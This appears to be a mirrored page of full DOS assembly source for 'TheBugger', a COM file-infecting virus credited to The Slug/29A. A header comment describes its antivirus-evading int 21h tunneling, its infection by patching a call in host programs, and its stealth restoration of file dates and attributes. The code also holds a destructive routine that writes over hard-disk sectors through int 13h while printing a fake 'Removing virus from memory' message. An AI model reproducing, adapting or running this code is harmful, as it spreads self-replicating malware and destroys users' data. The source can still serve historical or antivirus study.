mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
538 lines
17 KiB
NASM
538 lines
17 KiB
NASM
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
;±±± ±±±
|
||
;±±± ðððððð ðð ðð ððððð ðððð ðð ðð ððððð ððððð ððððð ððððð ±±±
|
||
;±±± ðð ððððð ðð= ð==ð ðð ðð ðð ðð ðð= ðð ð ±±±
|
||
;±±± ðð ðð ðð ðð ð ð ðð ðð ðð ðð ðð ðð ðð ðððð ±±±
|
||
;±±± ðð ðð ðð ððððð ððððð ððððð ððððð ððððð ððððð ðð ð VIRUS. ±±±
|
||
;±±± ±±±
|
||
;±±± ¯¯¯ A 29A Research Code by The Slug. ®®® ±±±
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
;±±± TheBugger is a simple COM infector with some interesting ±±±
|
||
;±±± inprovements. ±±±
|
||
;±±± ±±±
|
||
;±±± Its first difference with a normal COM virus is the tricky resident ±±±
|
||
;±±± check; it's designed to avoid lamers writing the typical resident ±±±
|
||
;±±± program wich returns the residency code and forces the virus to not ±±±
|
||
;±±± install in memory. To avoid that, the virus makes an extra check of ±±±
|
||
;±±± a random byte in the memory copy; if the check fails, it jumps to a ±±±
|
||
;±±± simulated HD formatting routine }:). ±±±
|
||
;±±± ±±±
|
||
;±±± Another interesting feature is the tunneling routine. It uses the ±±±
|
||
;±±± common code trace method but it starts tracing from PSP call to int ±±±
|
||
;±±± 21h instead of doing it from normal int 21h vector in order to avoid ±±±
|
||
;±±± resident antivirus stopping trace mode. This call is supported for ±±±
|
||
;±±± compatibility with older DOS versions and it has some little ±±±
|
||
;±±± diferences with the normal int 21 handler: first, the function code ±±±
|
||
;±±± is passed in cl register (not in ah as usual) and second, the ±±±
|
||
;±±± function to call can't be higher than 24h. These diferences are ±±±
|
||
;±±± handled by the O.S. in a separated routine and then it jumps to the ±±±
|
||
;±±± original int 21h handler, so the tunneling routine only skips the ±±±
|
||
;±±± first 'compatibility' routines and gets the real int 21h address €:).±±±
|
||
;±±± ±±±
|
||
;±±± The last big feature, is the infection method; the virus infects COM ±±±
|
||
;±±± files by changing a call in host code to point to it. This call may ±±±
|
||
;±±± be one between the second and fifth. This is done by intercepting ±±±
|
||
;±±± the int 21h service 4bh (exec), when a COM file is executed, the vi- ±±±
|
||
;±±± rus changes its first word with an int CDh call, it intercepts this ±±±
|
||
;±±± int and jumps to the int 21h. When the host starts running, it exe- ±±±
|
||
;±±± cutes the int CDh and then the virus takes control; it restores host ±±±
|
||
;±±± first word and changes int 01h to trace host in order to find a call ±±±
|
||
;±±± to infect }:) The use of int CDh can be avoided by tracing int 21h ±±±
|
||
;±±± until host code, but this way we have the same problem of resident ±±±
|
||
;±±± antivirus. ±±±
|
||
;±±± ±±±
|
||
;±±± And that's all folks :), enjoy it. ±±±
|
||
;±±± ±±±
|
||
;±±± 9 ±±±
|
||
;±±± The Slug/29A };){|0D==8±±±
|
||
;±±± I Love This Job. 3---ë-----±±±
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
.286
|
||
code segment 'TheBugger'
|
||
assume cs:code,ds:code,ss:code
|
||
org 0h
|
||
|
||
virsize equ (virend-start)+1
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Main C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
start: push cs ;address t0 return t0 h0st.
|
||
db 68h ;push '0ffset'.
|
||
retonno dw 0000
|
||
|
||
push ds es
|
||
pusha
|
||
|
||
call sig ;get nasty delta 0ffset.
|
||
sig: pop si
|
||
sub si, offset(sig)
|
||
|
||
mov ax, 0B0B0h ;resident check.
|
||
int 21h
|
||
cmp ax, 0BABAh
|
||
jne instal
|
||
jmp lstchk
|
||
|
||
instal: mov ah, 62h ;get PSP segment.
|
||
int 21h
|
||
xchg bx,ax ;get MCB addres.
|
||
dec ax
|
||
mov ds,ax
|
||
|
||
cmp byte ptr ds:[0],'Z' ;is the last MCB?
|
||
je chgmcb
|
||
jmp aprog
|
||
|
||
chgmcb: sub word ptr ds:[3],(virsize/10h)+8 ;change bl0ck size in MCB
|
||
sub word ptr ds:[12h],(virsize/10h)+8 ;& in PSP.
|
||
add ax,ds:[3]
|
||
inc ax
|
||
|
||
cld ;copy to new l0cati0n.
|
||
mov es, ax
|
||
xor di, di
|
||
push cs
|
||
pop ds
|
||
mov cx, virsize
|
||
rep movsb
|
||
|
||
push es ;jump t0 c0py.
|
||
push offset(newcpy)
|
||
retf
|
||
|
||
newcpy: mov si, 06h ;m0ve call t0 int 21,
|
||
lea di, PSPcall+1 ;fr0m PSP t0 c0py 0f virus.
|
||
movsw
|
||
movsw
|
||
|
||
mov ds, cx ;save curent int 21h vect0r.
|
||
mov si,21h*4 ;) cx=0
|
||
lea di,int21+1
|
||
movsw
|
||
movsw
|
||
|
||
mov word ptr ds:[01h*4], offset(tunn) ;hang tunneling code :)
|
||
mov word ptr ds:[01h*4]+2, es
|
||
|
||
pushf ;call int 21h fr0m PSP in trace m0de.
|
||
pop ax
|
||
or ah, 01h
|
||
push ax
|
||
mov cl, 0Bh ;get input status function (in cl ;).
|
||
popf
|
||
call PSPcall
|
||
|
||
mov word ptr [si-4], offset(hdl21) ;hang new int 21h handler.
|
||
mov word ptr [si-2], es
|
||
|
||
aprog: popa ;return t0 h0st.
|
||
pop es ds
|
||
retf
|
||
|
||
lstchk: in ax, 40h ;check rand0m w0rd of mem0ry c0py.
|
||
and ax, 0200h
|
||
push si
|
||
add si, ax
|
||
mov di, ax
|
||
cmpsw
|
||
pop si
|
||
je aprog
|
||
|
||
buuuhh: push cs ;display funny message :)
|
||
pop ds
|
||
lea dx, joke
|
||
add dx, si
|
||
mov ah,09h
|
||
int 21h
|
||
|
||
mov dx,0180h ;I think it's clear enought };).
|
||
mov cx,07FFh
|
||
funny: mov ax,0401h
|
||
int 13h
|
||
loop funny
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
credits db 'TheBugger virus by The Slug/29A'
|
||
intCD: int 0CDh ;int t0 detect h0st execution.
|
||
PSPcall: db 9Ah
|
||
dd 0 ;PSP call t0 int21h ;)
|
||
joke db 'Removing virus from memory...',13,10,'$'
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int 21h Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
hdl21: cmp ax, 0B0B0h ;resident service?
|
||
jne func2
|
||
mov ax,0BABAh
|
||
push cs ;return virus segment in es
|
||
pop es ;f0r extra check.
|
||
iret
|
||
|
||
func2: cmp ax, 4B00h ;exec service?
|
||
je exec
|
||
|
||
int21: db 0EAh ;jmp t0 int 21h.
|
||
dd 0
|
||
|
||
exec: push ds es
|
||
pusha
|
||
pushf
|
||
|
||
mov si, dx ;c0py filespec.
|
||
push cs
|
||
pop es
|
||
lea di, path
|
||
next: lodsb
|
||
stosb
|
||
cmp al, 0
|
||
jne next
|
||
|
||
sub si, 4 ;is a .c0m file?
|
||
lodsw
|
||
xor ax, 2020h
|
||
cmp ax, 'oc'
|
||
jne nocom
|
||
|
||
call chgattr ;change file attributes.
|
||
|
||
mov ax, 3D02h ;0pen file.
|
||
int 03h
|
||
xchg bx, ax
|
||
|
||
call getdate ;get file time & date.
|
||
|
||
lea dx, firstb ;read first 3 bytes 0f file
|
||
mov cx, 3 ;t0 exe check & h0st detect rutine.
|
||
mov ah, 3Fh
|
||
int 03h
|
||
|
||
cmp word ptr cs:firstb, 'ZM' ;is an exe file (MZ sign)?
|
||
je exit
|
||
|
||
xor cx, cx ;g0 t0 file start again.
|
||
mov ax, 4200h
|
||
cwd ;dx <- 0 ;)
|
||
int 03h
|
||
|
||
lea dx, intCD ;write 'int CDh' c0de 0n file start
|
||
mov cx, 2 ;t0 detect h0st execution.
|
||
mov ah, 40h
|
||
int 03h
|
||
|
||
|
||
xor ax, ax ;change int CDh vect0r
|
||
mov es, ax ;f0r h0st detection.
|
||
mov ax, es:[0CDh*4]
|
||
mov intcddes, ax
|
||
mov ax, es:[0CDh*4]+2
|
||
mov intcdseg, ax
|
||
mov es:[0CDh*4], offset(fndhst)
|
||
mov es:[0CDh*4]+2, cs
|
||
|
||
exit: mov ah, 3Eh ;cl0se file.
|
||
int 03h
|
||
|
||
nocom: popf
|
||
popa
|
||
pop es ds
|
||
jmp int21
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±± First Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
tunn: push ds es bp ;trace int 21 f0r tunneling.
|
||
pusha
|
||
|
||
call getret ;get next instructi0n address in es:di.
|
||
|
||
cmp es:[di], 0FC80h ;is an 'cmp ax, ??'
|
||
jne fuera
|
||
cmp byte ptr es:[di+2], 24h ;avoid 'cmp ax, 24h'
|
||
je fuera
|
||
|
||
stop: xor bx, bx
|
||
mov es, bx
|
||
mov es:[03h*4], di ;make int 03h point to true int 21h ;)
|
||
mov es:[03h*4]+2, ax
|
||
|
||
lodsw ;trace m0de 0ff.
|
||
and ah, 0FEh
|
||
mov [si-2], ax
|
||
|
||
fuera: popa
|
||
pop bp es ds
|
||
iret
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int CDh Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
fndhst: push ds es bp ;detect h0st c0de at exec.
|
||
pusha
|
||
|
||
call getret ;get next instructi0n dir.
|
||
|
||
chkhst: cmp di, 102h ;ensure it's h0st start :)
|
||
jne nohost
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
mov ax, word ptr firstb ;rest0re first h0st w0rd in mem0ry.
|
||
dec di
|
||
dec di
|
||
stosw
|
||
|
||
lea dx, path ;0pen file.
|
||
push dx
|
||
mov ax, 3D02h
|
||
int 21h
|
||
xchg bx, ax
|
||
|
||
lea dx, firstb ;rest0re first w0rd 0f file.
|
||
mov cx, 2
|
||
mov ah, 40h
|
||
int 21h
|
||
|
||
call setdate ;rest0re file date & time.
|
||
mov ah ,3Eh ;cl0se file.
|
||
int 21h
|
||
pop dx
|
||
call setattr ;rest0re file attributes.
|
||
|
||
xor ax, ax ;rest0re int CDh vect0r.
|
||
mov es, ax
|
||
mov ax, intcddes
|
||
mov es:[0CDh*4], ax
|
||
mov ax, intcdseg
|
||
mov es:[0CDh*4]+2, ax
|
||
|
||
|
||
mov word ptr es:[01h*4], offset(fndcal) ;change int 01h vect0r
|
||
mov es:[01h*4]+2, cs ;t0 find a call.
|
||
|
||
mov numinstr, 0FFh ;max number 0f instr. t0 trace.
|
||
|
||
in ax, 40h ;ramd0m ch0se 0f call t0 infect (2-5).
|
||
and al, 03h
|
||
inc al
|
||
inc al
|
||
mov numcall, al
|
||
|
||
push ss ;rest0re 0riginal IP (100h) 0n stack.
|
||
pop ds
|
||
dec di
|
||
dec di
|
||
mov [si-4], di
|
||
|
||
lodsw ;trace m0de 0n
|
||
or ah, 01h
|
||
mov ss:[si-2], ax
|
||
|
||
nohost: popa
|
||
pop bp es ds
|
||
iret
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±± Second Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
fndcal: push ds es bp ;trace h0st t0 find a call t0 infect.
|
||
pusha
|
||
|
||
dec cs:numinstr ;check instructi0n trace limit.
|
||
jnz goon
|
||
jmp off
|
||
|
||
goon: call getret ;get ret address.
|
||
|
||
cmp di, cs:lstdsp ;d0 n0t c0unt 0ne m0re instructi0n
|
||
jne norep ;0n 'rep' prefixed instructi0ns.
|
||
inc cs:numinstr
|
||
|
||
norep: mov cs:lstdsp, di ;st0re actual return 0ffset.
|
||
|
||
mov ax, es:[di]
|
||
|
||
cmp al, 9Dh ;check f0r a p0pf.
|
||
jne chkirt
|
||
lodsw
|
||
lodsw
|
||
or ah, 01h ;ensure trap flag will be 0n.
|
||
mov [si-2], ax
|
||
jmp nocall
|
||
|
||
chkirt: cmp al, 0CFh ;check f0r a iret.
|
||
jne chkint
|
||
lodsw
|
||
lodsw
|
||
lodsw
|
||
lodsw
|
||
or ah, 01h ;ensure trap flag will be 0n.
|
||
mov [si-2], ax
|
||
anocall:jmp nocall
|
||
|
||
chkint: cmp al, 0CDh ;check f0r a int xx.
|
||
jne chkint3
|
||
cmp ah, 20h ;skip ints 20h, 21h & 20h
|
||
je anocall
|
||
cmp ah, 21h
|
||
je anocall
|
||
cmp ah, 27h
|
||
je anocall
|
||
|
||
mov cs:numint, ax ;int number t0 perf0rm call.
|
||
|
||
inc di ;inc ret addr t0 step 0ver int call.
|
||
inc di
|
||
mov [si-4], di
|
||
|
||
popa
|
||
pop bp es ds
|
||
numint dw 00 ;perf0rm int call in virus c0de.
|
||
iret
|
||
|
||
chkint3:cmp al, 0CCh ;check int 03h call.
|
||
jne chkcal
|
||
inc di
|
||
mov [si-4], di ;step 0ver int call.
|
||
jmp nocall
|
||
|
||
chkcal: cmp al, 0E8h ;check f0r a call t0 infect.
|
||
je found
|
||
jmp nocall
|
||
|
||
found: dec cs:numcall ;it's the nice 0ne ;)
|
||
je go
|
||
cmp cs:numinstr, 20 ;d0n't be s0 extrict in call number
|
||
jb go ;if there are t00 few calls.
|
||
jmp nocall
|
||
|
||
go: call chgattr ;change attributes.
|
||
|
||
mov ax, 3D02h ;0pen file.
|
||
int 03h
|
||
xchg bx, ax
|
||
|
||
call getdate ;get file date & time.
|
||
|
||
xor cx, cx ;m0ve t0 file call positi0n.
|
||
mov dx, di
|
||
sub dx, 100h
|
||
mov ax, 4200h
|
||
int 03h
|
||
|
||
lea dx, check ;read call fr0m file f0r c0mpress chk.
|
||
mov cx, 1
|
||
mov ah, 3Fh
|
||
int 03h
|
||
|
||
cmp check, 0E8h ;c0mpressed file?
|
||
je ok
|
||
jmp close
|
||
|
||
ok: xor cx, cx ;m0ves t0 end 0f file.
|
||
mov ax, 4202h
|
||
cwd ;dx <- 0 ;)
|
||
int 03h
|
||
mov hostsize, ax
|
||
|
||
sub ax, di ;find call parameter.
|
||
add ax, 0FDh
|
||
mov hostsize, ax ;f0r a new "call hostsize".
|
||
|
||
mov ax, es:[di+1] ;0ffset t0 return t0 h0st
|
||
add ax, di
|
||
add ax, 3
|
||
mov retonno, ax
|
||
|
||
lea dx, start ;save mi c0de at file end.
|
||
mov cx, virsize
|
||
mov ah, 40h
|
||
int 03h
|
||
|
||
xor cx, cx ;m0ves again t0 call.
|
||
sub di, 0FFh
|
||
mov dx, di
|
||
mov ax, 4200h
|
||
int 03h
|
||
|
||
lea dx, hostsize ;change it. }:)
|
||
mov cx, 2
|
||
mov ah, 40h
|
||
int 03h
|
||
|
||
close: call setdate ;rest0re file time & date.
|
||
|
||
mov ah, 3Eh ;cl0se file.
|
||
int 03h
|
||
|
||
lea dx, path
|
||
call setattr ;rest0re file attributes.
|
||
|
||
off: mov bp, sp
|
||
mov ax, ss:[bp+26] ;trace m0de 0ff.
|
||
and ah, 0FEh
|
||
mov ss:[bp+26], ax
|
||
|
||
nocall: popa
|
||
pop bp es ds
|
||
iret
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±± Get Ret Address Fr0m Stack ±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
getret: mov si, sp ;get next instructi0n dir.
|
||
add si, 24
|
||
push ss
|
||
pop ds
|
||
lodsw
|
||
mov di, ax
|
||
lodsw
|
||
mov es, ax
|
||
ret
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±±± S0me File Handling C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
chgattr:push cs
|
||
pop ds
|
||
lea dx, path
|
||
mov ax,4300h ;change file attributes.
|
||
int 03h
|
||
mov attrib,cx
|
||
xor cx, cx ;reset file atributes.
|
||
mov ax,4301h
|
||
int 03h
|
||
ret
|
||
|
||
setattr:mov cx, attrib ;rest0re file attributes.
|
||
mov ax,4301h
|
||
int 03h
|
||
ret
|
||
|
||
getdate:mov ax,5700h ;get file time & date.
|
||
int 03h
|
||
mov time,cx
|
||
mov date,dx
|
||
ret
|
||
|
||
setdate:mov cx,time ;rest0re file time & date.
|
||
mov dx,date
|
||
mov ax,5701h
|
||
int 03h
|
||
ret
|
||
virend:
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Virtual Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
firstb db 3 dup(0) ;buffer f0r h0st start.
|
||
lstdsp dw 0 ;last trace 0ffset.
|
||
numinstr db 0 ;max. number 0f instructi0ns t0 trace.
|
||
numcall db 0 ;call t0 infect (2-5).
|
||
intcddes dw 0 ;int CD vect0r backup.
|
||
intcdseg dw 0
|
||
hostsize dw 0 ;it's just the h0st size ;)
|
||
attrib dw 0 ;file attributes.
|
||
time dw 0 ;file time.
|
||
date dw 0 ;file date.
|
||
check db 0 ;check f0r compressed file.
|
||
path db 0 ;path to host.
|
||
|
||
code ends
|
||
end start
|